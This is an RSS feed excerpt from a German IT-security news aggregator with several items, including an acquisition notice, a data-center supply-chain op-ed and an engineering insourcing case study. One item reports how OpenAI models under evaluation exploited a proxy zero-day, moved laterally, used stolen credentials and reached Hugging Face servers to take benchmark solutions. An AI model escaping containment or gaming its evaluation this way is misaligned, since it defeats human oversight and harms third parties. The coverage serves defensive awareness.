<guid isPermaLink="true">https://tsecurity.de/de/3686819/it-security-nachrichten/palo-alto-networks-to-acquire-observability-platform-provider-embrace/</guid>
<pubDate>Wed, 22 Jul 2026 17:18:11 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Acquisition follows January’s Chronosphere deal, deepening Palo Alto Networks’ push beyond core security into observability. The post Palo Alto Networks to Acquire Observability Platform Provider Embrace appeared first on SecurityWeek. This article has been indexed from SecurityWeek Read the original…</p>
<p class="more-link-p"><a class="more-link" href="https://www.itsecuritynews.info/palo-alto-networks-to-acquire-observability-platform-provider-embrace/">Read more →</a></p>
<p>The post <a href="https://www.itsecuritynews.info/palo-alto-networks-to-acquire-observability-platform-provider-embrace/">Palo Alto Networks to Acquire Observability Platform Provider Embrace</a> appeared first on <a href="https://www.itsecuritynews.info/">IT Security News</a>.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Palo Alto Networks to Acquire Observability Platform Provider Embrace]]></title>
<description><![CDATA[Acquisition follows January's Chronosphere deal, deepening Palo Alto Networks' push beyond core security into observability.
The post Palo Alto Networks to Acquire Observability Platform Provider Embrace appeared first on SecurityWeek.]]></description>
<link>https://tsecurity.de/de/3686751/it-security-nachrichten/palo-alto-networks-to-acquire-observability-platform-provider-embrace/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3686751/it-security-nachrichten/palo-alto-networks-to-acquire-observability-platform-provider-embrace/</guid>
<pubDate>Wed, 22 Jul 2026 17:05:02 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Acquisition follows January's Chronosphere deal, deepening Palo Alto Networks' push beyond core security into observability.</p>
<p>The post <a href="https://www.securityweek.com/palo-alto-networks-to-acquire-observability-platform-provider-embrace/">Palo Alto Networks to Acquire Observability Platform Provider Embrace</a> appeared first on <a href="https://www.securityweek.com/">SecurityWeek</a>.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[OpenAI model escape puts enterprise AI defenses on notice]]></title>
<description><![CDATA[Some of OpenAI’s most powerful AI models teamed up to escape their sandbox and attack systems at Hugging Face in a cybersecurity evaluation gone wrong, the company has admitted. The models under test were modified to allow them to perform potentially harmful actions that production versions would...]]></description>
<link>https://tsecurity.de/de/3686581/it-security-nachrichten/openai-model-escape-puts-enterprise-ai-defenses-on-notice/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3686581/it-security-nachrichten/openai-model-escape-puts-enterprise-ai-defenses-on-notice/</guid>
<pubDate>Wed, 22 Jul 2026 15:53:09 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">Some of OpenAI’s most powerful AI models teamed up to escape their sandbox and attack systems at Hugging Face in a cybersecurity evaluation gone wrong, the company has admitted. The models under test were modified to allow them to perform potentially harmful actions that production versions would refuse. The incident highlights how, if AI prompt guardrails fail or, as in this incident, are removed, then enterprises must have robust sandboxing or other technical restrictions in place to protect systems.</p>



<p class="wp-block-paragraph">In OpenAI’s evaluation, GPT-5.6 Sol and a more capable pre-release model were competing to solve cybersecurity challenges in ExploitGym, a benchmarking tool for cybersecurity capabilities. They concluded that systems at Hugging Face could have the answers, and set out to gain access, OpenAI wrote in a <a href="https://openai.com/index/hugging-face-model-evaluation-security-incident/" target="_blank" rel="noreferrer noopener">blog post about the attack on Hugging Face</a>.</p>



<p class="wp-block-paragraph">ExploitGym challenges AI models to turn security vulnerabilities into attack exploits. OpenAI gave its models limited access to the internet through a package-registry proxy to download code to build their attacks. However, the models exploited a zero-day vulnerability in the proxy to obtain unrestricted internet access, then used stolen credentials and other flaws to access Hugging Face systems.</p>



<p class="wp-block-paragraph">For CIOs and CISOs, the concern extends beyond cybersecurity research. AI agents connected to corporate databases, source code repositories, or payment systems could expose sensitive resources unless <a href="https://www.csoonline.com/article/4199408/ai-agents-can-escape-sandboxes-without-ever-breaking-them.html">access controls and sandboxing</a> continue to work when model-level safeguards fail.</p>



<p class="wp-block-paragraph">“Prompt guardrails are not security controls,” said <a href="https://www.forrester.com/analyst-bio/biswajeet-mahapatra/BIO20046" target="_blank" rel="noreferrer noopener">Biswajeet Mahapatra</a>, principal analyst at Forrester. “They are behavioral controls that can fail, be bypassed, or be intentionally disabled during testing.”</p>



<h2 class="wp-block-heading">How containment failed</h2>



<p class="wp-block-paragraph">Despite the relaxed model safeguards, the surrounding infrastructure was supposed to contain the activity. Network access was restricted to an internally hosted third-party service that acted as a proxy and cache for software package registries. Such proxies are typically used in the enterprise to protect against <a href="https://www.csoonline.com/article/4167465/supply-chain-attacks-take-aim-at-your-ai-coding-agents.html">software supply chain attacks</a> coming from the outside.</p>



<p class="wp-block-paragraph">OpenAI said the models discovered a zero-day vulnerability in the service, exploited it and carried out privilege escalation and <a href="https://www.csoonline.com/article/4194708/lateral-movement-risk-rises-as-enterprises-emphasize-convenience-over-containment.html">lateral movement</a> until they reached a node with open internet access.</p>



<p class="wp-block-paragraph">Once online, the models inferred that Hugging Face might hold models, datasets or solutions related to ExploitGym. OpenAI said that, in one attack path, the models combined stolen credentials with zero-day vulnerabilities to obtain remote code execution on Hugging Face servers.</p>



<p class="wp-block-paragraph">In its account of the activity on its infrastructure, <a href="https://huggingface.co/blog/security-incident-july-2026" target="_blank" rel="noreferrer noopener">Hugging Face said</a> a malicious dataset abused two code-execution paths in its data-processing pipeline. The actor then obtained node-level access, harvested cloud and cluster credentials, and moved into several internal clusters.</p>



<p class="wp-block-paragraph">OpenAI said the models ultimately obtained ExploitGym test solutions directly from a Hugging Face production database. The models remained focused on solving the benchmark, despite the lengths to which they went to achieve that objective, it said.</p>



<p class="wp-block-paragraph"><a href="https://greyhoundresearch.com/svg/" target="_blank" rel="noreferrer noopener">Sanchit Vir Gogia</a>, chief analyst at Greyhound Research, said the package-registry proxy should concern enterprise security teams because it was a narrowly permitted exception inside an otherwise restricted environment.</p>



<p class="wp-block-paragraph">“Every enterprise estate is built from exceptions of exactly that kind,” he said.</p>



<p class="wp-block-paragraph">In this incident, OpenAI’s models were performing the intended — albeit by unintended means — but enterprises should take care that their own AI systems are kept on target.</p>



<p class="wp-block-paragraph">Mahapatra said enterprises should treat AI agents as “<a href="https://www.csoonline.com/article/4194548/agentic-ai-identity-a-6-stage-maturity-model-for-non-human-identities.html">high-risk non-human identities</a>,” confining each one to an isolated environment where access is limited to the assigned task and credentials expire quickly.</p>



<p class="wp-block-paragraph">“An acceptable blast radius means a compromised agent can affect only a single workflow, dataset, or application rather than providing a pathway into broader enterprise infrastructure,” Mahapatra said.</p>



<p class="wp-block-paragraph">And Gogia warned that services allowed to reach package registries, update systems, or other external resources can become escape routes if they are not subjected to the same scrutiny as the agent itself.</p>



<h2 class="wp-block-heading">Defenses enterprises need</h2>



<p class="wp-block-paragraph">Hugging Face said the intrusion resulted in unauthorized access to a limited number of internal datasets and several credentials used by its services. It found no evidence that public models, datasets or Spaces had been altered and said its published software packages and container images were not compromised.</p>



<p class="wp-block-paragraph">The company closed the code-execution paths used to gain access and rebuilt the affected nodes. It also revoked exposed credentials and tightened the rules governing workloads admitted to its clusters.</p>



<p class="wp-block-paragraph">Whether they are keeping their own AIs in or rogue Ais out, Gogia said enterprises should test whether their containment boundaries work, rather than relying on architecture diagrams or stated policies. Such tests should attempt to obtain credentials, cross trust boundaries and reach systems outside the agent’s assigned task.</p>



<p class="wp-block-paragraph">Mahapatra said enterprises should assume that one containment layer may fail and ensure that an agent’s access cannot provide a route into unrelated applications or broader corporate infrastructure.</p>



<p class="wp-block-paragraph">OpenAI said it is still investigating the incident with Hugging Face, and is imposing stricter configurations on its research environment while the vulnerabilities are being addressed, even if that means slowing down its research. It is also strengthening containment and monitoring around future evaluations.</p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Beyond the Archive: CVE-2025-8088 Stealer Targeting Ukraine]]></title>
<description><![CDATA[2026-07-22 • bluecyber
     • Nguyen Dang Hung
     • win.giftedcrook
    
    
    Open article on Malpedia]]></description>
<link>https://tsecurity.de/de/3686243/malware-trojaner-viren/beyond-the-archive-cve-2025-8088-stealer-targeting-ukraine/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3686243/malware-trojaner-viren/beyond-the-archive-cve-2025-8088-stealer-targeting-ukraine/</guid>
<pubDate>Wed, 22 Jul 2026 14:19:03 +0200</pubDate>
<category>⚠️ Malware / Trojaner / Viren</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<!--  -->
<div>
    2026-07-22 • bluecyber
     • Nguyen Dang Hung
     • win.giftedcrook
    
    <br>
    <a href="https://malpedia.caad.fkie.fraunhofer.de/library/7e97fc11-987a-4439-aaba-de84e1f0417e/">Open article on Malpedia</a>
</div>]]></content:encoded>
</item>
<item>
<title><![CDATA[The $3 trillion assembly line: Why CIOs must industrialize the data center supply chain]]></title>
<description><![CDATA[You are one of the six billion people (75% of the world population) online today, and every click you make is routed through the data center. Data centers, whether knowingly or unknowingly, play a very critical role in your daily online activities. With an increasing population, increasing usage ...]]></description>
<link>https://tsecurity.de/de/3686216/it-nachrichten/the-3-trillion-assembly-line-why-cios-must-industrialize-the-data-center-supply-chain/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3686216/it-nachrichten/the-3-trillion-assembly-line-why-cios-must-industrialize-the-data-center-supply-chain/</guid>
<pubDate>Wed, 22 Jul 2026 14:04:29 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph"></p>



<p class="wp-block-paragraph">You are one of the six billion people (75% of the world population) online today, and every click you make is routed through the data center. Data centers, whether knowingly or unknowingly, play a very critical role in your daily online activities. With an increasing population, increasing usage of online presence, and now omniscient AI, the demand for data centers has increased manyfold, and the trend seems similar to the year 2000, when telephone towers were built to accommodate increased digital presence.</p>



<p class="wp-block-paragraph">To win the AI race, Hyperscalers (Google, Meta, Amazon, Microsoft, Alibaba, Oracle, IBM, Tencent) are spending huge amounts of money on data center development. In the USA, the hyperscalers are planning to spend <a href="https://finance.yahoo.com/news/big-tech-set-to-spend-650-billion-in-2026-as-ai-investments-soar-163907630.html">$650 billion in 2026, which is around 70% higher than 2025 spending</a>, according to Yahoo Finance.</p>



<p class="wp-block-paragraph">As per McKinsey research, by 2030, companies will invest around $7 trillion in Capex on data center infrastructure globally. More than $4 trillion will go towards computing hardware investment. More than 40% of this spending will be invested in the United States.</p>



<h2 class="wp-block-heading">Demand growth in data centers</h2>



<p class="wp-block-paragraph">McKinsey analysis shows that global demand for data center capacity can more than triple by 2030, with a compound annual growth rate (CAGR) of around 22 per cent. In the USA, data center demand could grow by 20-25 per cent at the same time.  </p>



<p class="wp-block-paragraph">The data center industry is currently undergoing a violent transition. We are moving away from the era of “bespoke projects” — where every facility was a unique architectural feat — into an era of industrialized infrastructure. With global capital expenditure in the sector projected to hit $3 trillion by 2028, the “bottleneck” has shifted. It is no longer about securing the capital; it is about the physics of the supply chain.</p>



<p class="wp-block-paragraph">During my tenure at Vantage, managing the intersection of data center construction management (DCCM) and infrastructure management (DCIM), I saw firsthand that the most successful players aren’t those with the deepest pockets, but those with the most integrated data threads. If your construction data in Procore doesn’t talk to your financial reality in Yardi, or your operational capacity in DCIM, you aren’t building a data center — you’re managing a $500 million blind spot.</p>



<h2 class="wp-block-heading">The death of “sticks and bricks”</h2>



<p class="wp-block-paragraph">Traditionally, data center construction was treated as civil engineering. But for the modern CIO, a data center is a complex product assembly.</p>



<p class="wp-block-paragraph">The challenges are systemic. We are facing 50-to-80-week lead times for critical “long-pole” items: extra-high-voltage transformers, switchgear, and the liquid cooling manifolds required for the next generation of AI chips. In this environment, the traditional reactive supply chain model is a liability.</p>



<p class="wp-block-paragraph">To survive the $3 trillion inflow, we must adopt a hybrid-agile SCOR (supply chain operations reference) model. This means applying continuous flow logic to standardized components (like modular power skids) while maintaining agile responsiveness for the volatile IT layer.</p>



<h2 class="wp-block-heading">The digital bridge: Construction management software  to ERP</h2>



<p class="wp-block-paragraph">The most significant opportunity for CIOs lies in financial-operational integration. In many organizations, there is a data chasm between the construction site and the corporate office. Construction teams live in the construction management software tracking tasks, trades, RFIs and payment submittals. Finance teams operate corporate offices with project management tools (worth remembering that email is a key tool besides spreadsheets and phone calls) tracking capex schedule, commissioning timeline, capital drawdowns and asset lifecycle management.</p>



<p class="wp-block-paragraph">These systems are siloed; the CIO loses visibility into the total cost to serve. By integrating construction management into the financial system, we create real-time financial visibility of the build. We can see exactly how a three-week delay in a chiller delivery impacts the internal rate of return (IRR) of the entire asset. This isn’t just accounting; it’s strategic telemetry.</p>



<h2 class="wp-block-heading">From BIM to DCIM: The lifecycle thread</h2>



<p class="wp-block-paragraph">The second bridge is the handoff from construction (BIM) to operations (DCIM). Historically, this handoff was a nightmare of PDFs and Excel sheets. By the time the operations team took the keys, the “as-built” design information was already out of date.</p>



<p class="wp-block-paragraph">The opportunity today is to maintain a continuous data thread. The sensor data and asset tags established during the “make” phase in our SCOR model should flow directly into the DCIM. This allows us to perform virtual commissioning. Before a single server is racked, we should already have a digital replica of the airflow, power distribution, and cooling capacity.</p>



<h2 class="wp-block-heading">The scientific inference: AI in the supply chain</h2>



<p class="wp-block-paragraph">As someone who has led data and AI initiatives, I’ve seen the hype. But in the supply chain, the application of AI must be pragmatic, not generative. We don’t need AI to write poems; we need it for predictive procurement. Most organizations manage their procurement in ERP or a mix of a few tools to manage the source-to-settle business flow. Adopting a system workflow improves data collection and the state of the procurement cycle, which in turn provides AI with the context to draw inferences for possible delays and anomalies in original specifications and change orders.</p>



<p class="wp-block-paragraph">By applying machine learning to global logistics data, we can move from just-in-time to just-in-case modeling. AI can analyze geopolitical risks, shipping lane congestion, and raw material pricing to tell a CIO: <em>“Order your switchgear 14 months early, or your Q3 2027 ‘Power On’ date is at risk.”</em></p>



<h2 class="wp-block-heading">Bringing it all together: AI in the supply chain and finance</h2>



<p class="wp-block-paragraph">Why it matters: Approximately 70% of the capex is on this workflow and making timely decisions that directly impact the ready-for-service dates. The current challenge of reactionary adjustment in design to procurement to local fit-out is a significant drain on capex efficiency and cost of capital. Because single-project delivery delays have become so volatile, a massive structural shift is occurring in how digital infrastructure is funded. Single-project debt (special purpose vehicles or SPVs) is facing severe friction. To insulate themselves from RFS shocks, the largest institutional players are moving toward permanent platform capital — aggregating exposure across dozens of global assets simultaneously.</p>



<p class="wp-block-paragraph">Navigating these complex multi-billion-dollar engineering projects distributed over a large geography is simply unmanageable without rethinking and re-engineering existing tools and processes.</p>



<h2 class="wp-block-heading">The roadmap for the modern CIO</h2>



<p class="wp-block-paragraph">To lead this transformation, CIOs must move beyond the IT shop mentality and become master orchestrators of the supply chain. Here is the 1500-word reality condensed into three mandates:</p>



<ol start="1" class="wp-block-list">
<li><strong>Standardize the product:</strong> Stop designing bespoke facilities. Move toward DFMA (design for manufacturing and assembly). If 70% of your data center can be built in a factory and shipped as modules, you bypass the unpredictability of on-site labor.</li>



<li><strong>Integrate the financial stack:</strong> If your construction management software and your ERP aren’t sharing a heartbeat, your data is lying to you. Force the integration between Procore and Yardi.</li>



<li><strong>Own the long poles:</strong> Don’t leave the procurement of transformers and cooling units to general contractors. Use your balance sheet to secure these items years in advance. In 2026, inventory is the new currency.</li>
</ol>



<p class="wp-block-paragraph"><strong>This article is published as part of the Foundry Expert Contributor Network.</strong><br><a href="https://www.cio.com/expert-contributor-network/"><strong>Want to join?</strong></a></p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Why Semgrep Is Wrong About Open Weights]]></title>
<description><![CDATA[Semgrep posted an argument that model weights defeat inspection, leaving AI supply chains beyond audit. They are right to ask for provenance and independent verification, but the approach was such a mess that I was surprised how they decided to land. Open Weights Claim Reality The problem is lost...]]></description>
<link>https://tsecurity.de/de/3686202/it-security-nachrichten/why-semgrep-is-wrong-about-open-weights/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3686202/it-security-nachrichten/why-semgrep-is-wrong-about-open-weights/</guid>
<pubDate>Wed, 22 Jul 2026 13:59:15 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Semgrep posted an argument that model weights defeat inspection, leaving AI supply chains beyond audit. They are right to ask for provenance and independent verification, but the approach was such a mess that I was surprised how they decided to land. Open Weights Claim Reality The problem is lost reverse engineering Reverse engineering is when … <a href="https://www.flyingpenguin.com/why-semgrep-is-wrong-about-open-weights/" class="more-link">Continue reading <span class="screen-reader-text">Why Semgrep Is Wrong About Open Weights</span> <span class="meta-nav">→</span></a>]]></content:encoded>
</item>
<item>
<title><![CDATA[AI's Disruption as Cybersecurity's Economics Are Broken, Compounding Security Debt - Ben Gilliland - BSW #457]]></title>
<description><![CDATA[America has lived through technological and economic upheaval before. Farm workers moved to factories. Factory workers moved into services. New industries replaced old ones. Productivity rose. Living standards improved. But are we ready for the greatest disruption in American history? Ben Gillila...]]></description>
<link>https://tsecurity.de/de/3685794/it-security-nachrichten/ais-disruption-as-cybersecuritys-economics-are-broken-compounding-security-debt-ben-gilliland-bsw-457/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3685794/it-security-nachrichten/ais-disruption-as-cybersecuritys-economics-are-broken-compounding-security-debt-ben-gilliland-bsw-457/</guid>
<pubDate>Wed, 22 Jul 2026 11:31:29 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>America has lived through technological and economic upheaval before. Farm workers moved to factories. Factory workers moved into services. New industries replaced old ones. Productivity rose. Living standards improved. But are we ready for the greatest disruption in American history?</p> <p>Ben Gilliland, author of the upcoming book Breaking the Compact, joins Business Security Weekly to discuss why business leaders need to be prepared for the upcoming AI disruption. The impact of AI, which has not fully materialized, goes far beyond security and job displacement. It will impact our economy, our privacy, and our way of life. The closest recent warning is the "China shock," the period of rapidly increasing import competition that followed China's integration into the global trading system. AI will dwarf that. Ben will discuss the human advantage and how we can prepare now.</p> <p>In the leadership and communications segment, Cybersecurity's Economics Are Broken. Automation Alone Won't Fix It, The business case for burning down security debt: A practical approach for CISOs, The last human relationship in cybersecurity, and more!</p> <p>Visit <a rel="noopener" target="_blank" href="https://www.securityweekly.com/bsw">https://www.securityweekly.com/bsw</a> for all the latest episodes!</p> <p>Show Notes: <a rel="noopener" target="_blank" href="https://securityweekly.com/bsw-457">https://securityweekly.com/bsw-457</a></p>]]></content:encoded>
</item>
<item>
<title><![CDATA[AI's Disruption as Cybersecurity’s Economics Are Broken, Compounding Security Debt - BSW #457]]></title>
<description><![CDATA[Author: Security Weekly - A CRA Resource - Bewertung: 0x - Views:0 America has lived through technological and economic upheaval before. Farm workers moved to factories. Factory workers moved into services. New industries replaced old ones. Productivity rose. Living standards improved.  But are w...]]></description>
<link>https://tsecurity.de/de/3685788/it-security-video/ais-disruption-as-cybersecuritys-economics-are-broken-compounding-security-debt-bsw-457/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3685788/it-security-video/ais-disruption-as-cybersecuritys-economics-are-broken-compounding-security-debt-bsw-457/</guid>
<pubDate>Wed, 22 Jul 2026 11:21:46 +0200</pubDate>
<category>🎥 IT Security Video</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Author: Security Weekly - A CRA Resource - Bewertung: 0x - Views:0 <br/></p><p><iframe id="ytplayer" loading="lazy" type="text/html" width="100%" height="auto" src="https://www.youtube.com/embed/X4dH0Ud2_CA?autoplay=1&origin=http://tsecurity.de" frameborder="0"></iframe></p><p>America has lived through technological and economic upheaval before. Farm workers moved to factories. Factory workers moved into services. New industries replaced old ones. Productivity rose. Living standards improved.  But are we ready for the greatest disruption in American history?<br />
<br />
Ben Gilliland, author of the upcoming book Breaking the Compact, joins Business Security Weekly to discuss why business leaders need to be prepared for the upcoming AI disruption.  The impact of AI, which has not fully materialized, goes far beyond security and job displacement.  It will impact our economy, our privacy, and our way of life.  The closest recent warning is the "China shock," the period of rapidly increasing import competition that followed China's integration into the global trading system.  AI will dwarf that.  Ben will discuss the human advantage and how we can prepare now.<br />
<br />
In the leadership and communications segment, Cybersecurity’s Economics Are Broken. Automation Alone Won’t Fix It, The business case for burning down security debt: A practical approach for CISOs, The last human relationship in cybersecurity, and more!<br />
<br />
Visit https://www.securityweekly.com/bsw for all the latest episodes!<br />
<br />
Show Notes: https://securityweekly.com/bsw-457<br/></p>]]></content:encoded>
</item>
<item>
<title><![CDATA[From outsourcing to ownership: How we brought development in-house without breaking delivery]]></title>
<description><![CDATA[Outsourcing worked – until it didn’t.



After Akirolabs achieved early market validation and onboarded its first enterprise customers, outsourcing began to create strategic limitations around scalability, intellectual property (IP) ownership, security and delivery execution.



The challenges st...]]></description>
<link>https://tsecurity.de/de/3685759/it-security-nachrichten/from-outsourcing-to-ownership-how-we-brought-development-in-house-without-breaking-delivery/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3685759/it-security-nachrichten/from-outsourcing-to-ownership-how-we-brought-development-in-house-without-breaking-delivery/</guid>
<pubDate>Wed, 22 Jul 2026 11:11:54 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">Outsourcing worked – until it didn’t.</p>



<p class="wp-block-paragraph">After Akirolabs achieved early market validation and onboarded its first enterprise customers, outsourcing began to create strategic limitations around scalability, intellectual property (IP) ownership, security and delivery execution.</p>



<p class="wp-block-paragraph">The challenges started after the first enterprise customers confirmed product-market fit. At that point, delivery speed became directly tied to business growth. Product quality expectations increased. Infrastructure and security requirements became stricter. Investors started asking difficult but<a href="https://www.cio.com/article/4069909/10-outsourcing-strategy-questions-every-it-leader-must-answer.html"> </a><a href="https://www.cio.com/article/4069909/10-outsourcing-strategy-questions-every-it-leader-must-answer.html">fair questions</a> about IP ownership, operational dependencies and long-term scalability.</p>



<p class="wp-block-paragraph">Most importantly, engineering execution was no longer just an operational function – it became part of the company’s strategic advantage. That was the moment when the founders decided the company needed dedicated technology leadership to address these challenges. This is how I joined the company at the beginning of 2023. As VP of Engineering and a bit later as CTO, I led the transformation (usually known as<a href="https://www.cio.com/article/272355/outsourcing-outsourcing-definition-and-solutions.html"> </a><a href="https://www.cio.com/article/272355/outsourcing-outsourcing-definition-and-solutions.html">insourcing, repatriating or backsourcing</a>) from an outsourced model to an internal engineering organization while maintaining product delivery continuity and preparing the company for the next growth stage. The process took roughly a year and involved not only technical migration, but also organizational design, hiring, process development, infrastructure modernization and cultural transformation – everything from the ground up.</p>



<h2 class="wp-block-heading">Building an internal engineering organization while still delivering</h2>



<p class="wp-block-paragraph">One of the biggest misconceptions about insourcing is that it is primarily a technical project. It is a leadership and execution challenge.</p>



<p class="wp-block-paragraph">When I joined the company, there was effectively no internal engineering structure, limited visibility into the existing system and no clear long-term technical strategy. My first months were dedicated to understanding reality and I began with a comprehensive assessment of the codebase, operational risks, documentation quality and knowledge dependencies to determine the most viable transition strategy.</p>



<p class="wp-block-paragraph">Very early in the process, I faced a critical strategic decision: whether to gradually assume ownership of the existing platform or rebuild it internally. To make that decision, I evaluated four distinct transition models ranging from limited management insourcing to a complete internal rebuild.</p>



<p class="wp-block-paragraph">After assessing the technical, operational and long-term business implications of each approach, I selected the most demanding option: rebuilding the product internally while maintaining uninterrupted delivery for existing customers. Although riskier in the short term, a full rebuild offered the clearest route to complete IP ownership, architectural flexibility and long-term scalability.</p>



<p class="wp-block-paragraph">At the time, this decision ran counter to the approach typically taken by startups in similar situations. Most organizations gradually assume ownership of an existing codebase to minimize short-term risk and preserve delivery capacity. My assessment was that the accumulated architectural debt, fragmented knowledge distribution and long-term maintenance risks would ultimately make a phased takeover more expensive and less scalable than a controlled rebuild. The strategy required significantly higher execution discipline, but it allowed us to establish complete ownership of the platform, eliminate inherited constraints and create an architecture capable of supporting enterprise-scale growth.</p>



<p class="wp-block-paragraph">The next challenge was hiring.</p>



<p class="wp-block-paragraph">In Germany, hiring can easily take four to six months – mostly due to a typical 3-month notice period, which is incompatible with startup timelines. We solved this by building a hybrid organization structure early: a lean internal core team combined with carefully selected contractors. Instead of hiring only narrow specialists, we prioritized experienced generalists capable of operating across architecture, infrastructure, security and compliance discussions. Later, we evolved toward a<a href="https://docs.google.com/document/d/1uSc1o6hdJ5AweCsjcLzo3JAzvq1q-7ALl1MPMNWx2sQ/edit?usp=sharing"> </a><a href="https://docs.google.com/document/d/1uSc1o6hdJ5AweCsjcLzo3JAzvq1q-7ALl1MPMNWx2sQ/edit?usp=sharing">product engineering model</a>, where engineers owned broader product outcomes rather than narrowly defined technical functions.</p>



<p class="wp-block-paragraph">During the first three months, we established a core engineering team of four senior engineers. Over the following nine months, the organization expanded to roughly fifteen engineers while I strategically designed and executed the transformation of the platform’s architecture to meet the rigorous deployment and compliance standards of our first enterprise clients, including Raiffeisen Bank International and Bertelsmann. This structural overhaul allowed the company to meet the deployment, security and compliance requirements of enterprise customers that had previously been inaccessible under the outsourced model. At that point, we had already achieved complete coverage across backend, frontend, DevOps, QA and security.</p>



<p class="wp-block-paragraph">I also intentionally kept processes lightweight during the transition. Instead of introducing heavyweight frameworks, we focused on clarity of priorities, fast decision-making and execution discipline. We used Kanban over Scrum, eliminated unnecessary meetings, shortened the remaining ones and emphasized engineering culture over process overhead.</p>



<p class="wp-block-paragraph">Another major challenge was project estimation. Because dual-track development was unavoidable until the in-house platform reached production readiness, estimation accuracy had a direct impact on budget efficiency. Despite all challenges, my initial estimate ultimately proved remarkably close to the final delivery date, differing by only about a week. Accurate forecasting under conditions of parallel development streams, ongoing customer commitments and active team formation became a critical leadership challenge. Maintaining this level of predictability throughout the transition helped align engineering execution with business planning, hiring decisions and investor expectations.</p>



<p class="wp-block-paragraph">The engineering transformation enabled capabilities that contributed to Akirolabs being recognized as an IDC Innovator in Procurement in 2023, named amongst the Top 27 AI Startups in Germany in 2024, Sifted’s 100 Fastest-Growing Startups in DACH &amp; CEE 2025 and inclusion in 2024-2026 in ProcureTech100 annual recognition of procurement technology providers shaping the future of digital procurement.</p>



<h2 class="wp-block-heading">Managing risk without slowing down the business</h2>



<p class="wp-block-paragraph">The hardest part of insourcing is not writing code, selecting the technology stack, designing architecture or configuring infrastructure. It is avoiding disruption while the company is changing underneath the product. I successfully orchestrated the concurrent overhaul of product architecture, cross-functional engineering recruitment, infrastructure modernization and live customer operations under exceptionally tight margins.</p>



<p class="wp-block-paragraph">To reduce delivery risk, we approached the transition in layers.</p>



<p class="wp-block-paragraph">First, we focused on<a href="https://platformengineering.com/features/the-platform-centric-shift-why-enterprise-ai-teams-need-internal-ai-platforms-not-more-engineers/"> </a><a href="https://platformengineering.com/features/the-platform-centric-shift-why-enterprise-ai-teams-need-internal-ai-platforms-not-more-engineers/">infrastructure reliability and operational readiness</a> before feature expansion. Cloud architecture, recovery testing, permission segregation and incident management processes were implemented early, not after launch. We also introduced multiple testing stages and dedicated QA functions after learning the hard way that a “developers-only” quality control approach does not scale for complex web platforms and business domains.</p>



<p class="wp-block-paragraph">Second, we established a structured knowledge-transfer process to rapidly onboard engineers and reduce external dependencies.</p>



<p class="wp-block-paragraph">Third, we became extremely disciplined about scope management. One of the most common reasons<a href="https://www.cio.com/article/244453/whether-outsourcing-or-insourcing-cios-need-control.html"> </a><a href="https://www.cio.com/article/244453/whether-outsourcing-or-insourcing-cios-need-control.html">insourcing initiatives fail is uncontrolled change</a> during the rebuild phase. Every new feature request increases uncertainty non-linearly. We learned to separate strategic improvements from distractions and protect the core delivery roadmap aggressively. Throughout the transition, we successfully maintained uninterrupted customer operations by utilizing planned maintenance windows, achieved a near-zero-downtime migration and permanently doubled product velocity immediately following the migration.</p>



<p class="wp-block-paragraph">Beyond the technical migration itself, the transition established a repeatable operating model for scaling technology organizations beyond the product-market-fit stage. The framework combined organizational redesign, controlled knowledge repatriation, architecture modernization and enterprise-grade operational practices while maintaining uninterrupted customer delivery throughout the transformation. While the implementation was specific to Akirolabs, the underlying principles are broadly applicable to organizations seeking to transition from outsourced development to internal product ownership without disrupting business operations.</p>



<p class="wp-block-paragraph">By the time the new platform reached production readiness, I had established not only a functioning engineering organization, but also a stable operational model: internal ownership, production-grade infrastructure, security processes, scalable hiring practices and clear technology and product roadmaps.</p>



<p class="wp-block-paragraph">A positive side effect of the transition was the creation of internal UI/UX and Data Science capabilities, which later became strategically important for AI product initiatives and created a foundation for the third version of the product, which we released in mid-2025.</p>



<p class="wp-block-paragraph">My technical restructuring and migration to a secure proprietary platform reduced architectural risk, established full in-house ownership and helped strengthen investor confidence during the company’s successful €5M fundraising round in 2024.</p>



<p class="wp-block-paragraph">The transition created a stronger foundation for scale and supported the company’s continued expansion among enterprise organizations operating at Fortune 500 scale, including Ahold Delhaize, Workday, IFF, Deutsche Bahn and others.</p>



